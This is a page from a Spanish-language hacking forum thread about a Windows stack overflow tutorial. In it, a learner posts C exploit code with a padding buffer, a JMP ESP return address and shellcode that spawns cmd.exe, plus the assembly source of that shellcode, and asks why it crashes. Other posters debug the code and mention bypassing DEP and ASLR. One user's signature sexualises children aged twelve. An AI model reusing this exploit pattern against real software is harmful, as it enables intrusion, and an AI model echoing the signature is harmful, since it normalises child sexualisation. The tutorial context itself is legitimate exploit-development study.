Páginas: 1 2 3 [4]
|
 |
|
Autor
|
Tema: <-> Taller de Stack Overflows en Windows, por Rojodos (Leído 17658 veces)
|
|
|
R41N-W4R3
Desconectado
Mensajes: 221
|
Hola, estoy realizando el exploit basico (gracias al texto de rojodos....impresionantemente bien explicado) y tengo el siguiente problema: Pego mi codigo antes de nada: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3"; [b] //EL OFFSET TAMBIEN LO HE PUESTO BIEN (xC7\x93\xBF\x77) lo hago con el programa diceoffset [/b]
char offset[]="\x7C\x95\x1E\xED"; [b] //HE SACADO ESTO EN MI PC CON FINDJMP[/b] strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vulnerable"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vulnerable.exe",argv); }
El caso es que al ejecutarlo me peta diciendo: que la instruccion que hace referencia a una direccion de memoria no se puede read. Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. Pego aki el codigo: #include <stdio.h> #include <windows.h>
void main () {
LoadLibrary("msvcrt.dll"); __asm{ push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h lea eax,[ebp-08h] push eax mov ebx,0x77bf93c7 call ebx } }
Saludos y gracias........
|
|
|
|
|
En línea
|
|
|
|
|
sirdarckcat
|
Tu error debe estar en la direccion del salto a JMP ESP.. pero.. porque pones el salto a JMP ESP al final del shellcode? :-/ lee otraves el tutorial de rojodos jeje Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. si lo pudiste ejecutar, es porque ya se genero un exe. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
R41N-W4R3
Desconectado
Mensajes: 221
|
En el compilador le doy a ejecutar y me abre la shell...pero aunke le de a build no me sale ningun shell.exe... cuando lo he ejecutado y pongo en la shell exit para cerrar la ventana msdos me sale el siguiente error: Debug error! program.... Module: File: i386\chkesp.c Line 42
the value of ESP was not properly saved across a function call............
De todas formas estoy empezando desde el principio... y releyendo el tuto.... Gracias por tu ayuda
|
|
|
|
|
En línea
|
|
|
|
gaby-EOF
Desconectado
Mensajes: 3
printf("\nit releases your mind");
|
exelente tu tutorial rojodos hasta ahora solo tenia una idea muy remota de lo que se tratava stack overflows ahora me quedo clarisimo. gracias
|
|
|
|
|
En línea
|
---------------->off line
|
|
|
Sha0
Desconectado
Mensajes: 18
Sehr gut !!
|
Hehe stack overflow es una tecnica muy antigua, alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR ... Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y meterle mucha caña a la protarmacion a bajo nivel. http://jolmos.blogspot.com
|
|
|
|
|
En línea
|
No intentes doblar la cuchara, eso es imposible. Solo intenta comprender la realidad ... que no hay cuchara. -- a hacker --
|
|
|
Sha0
Desconectado
Mensajes: 18
Sehr gut !!
|
Hehe stack overflow es una tecnica antigua y sencilla, la gracia está en petar las protecciones que impiden que se desvíe el flujo de ejecución. ¿alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR? Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y meterle mucha caña a la protarmacion a bajo nivel. http://jolmos.blogspot.com
|
|
|
|
|
En línea
|
No intentes doblar la cuchara, eso es imposible. Solo intenta comprender la realidad ... que no hay cuchara. -- a hacker --
|
|
|
opsmc
Desconectado
Mensajes: 2
mi debilidad las lolitas mayores de 12
|
Hola a todos, desde hace unos dias me he dedicado <<por sobra de tiempo  despedido injustamente  >> a hacer algunas travesuras por la red este foro se me hace de poca m... en horabuena Sin embargo tengo una triste duda de novato (ojo ya busque en la ayuda bla bla) :rolleyes:de donde carajos bajo el adjunto  Esta como archivo adjunto, para descargarlo, hay que estar registrado  (cosas del admin) 
|
|
|
|
|
En línea
|
La red es el único lugar donde podemos ser realmente nosotros, no reglas, no máscaras...
|
|
|
zhynar_X
Desconectado
Mensajes: 512
Use linux my friend...
|
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
|
Páginas: 1 2 3 [4]
|
|
|
|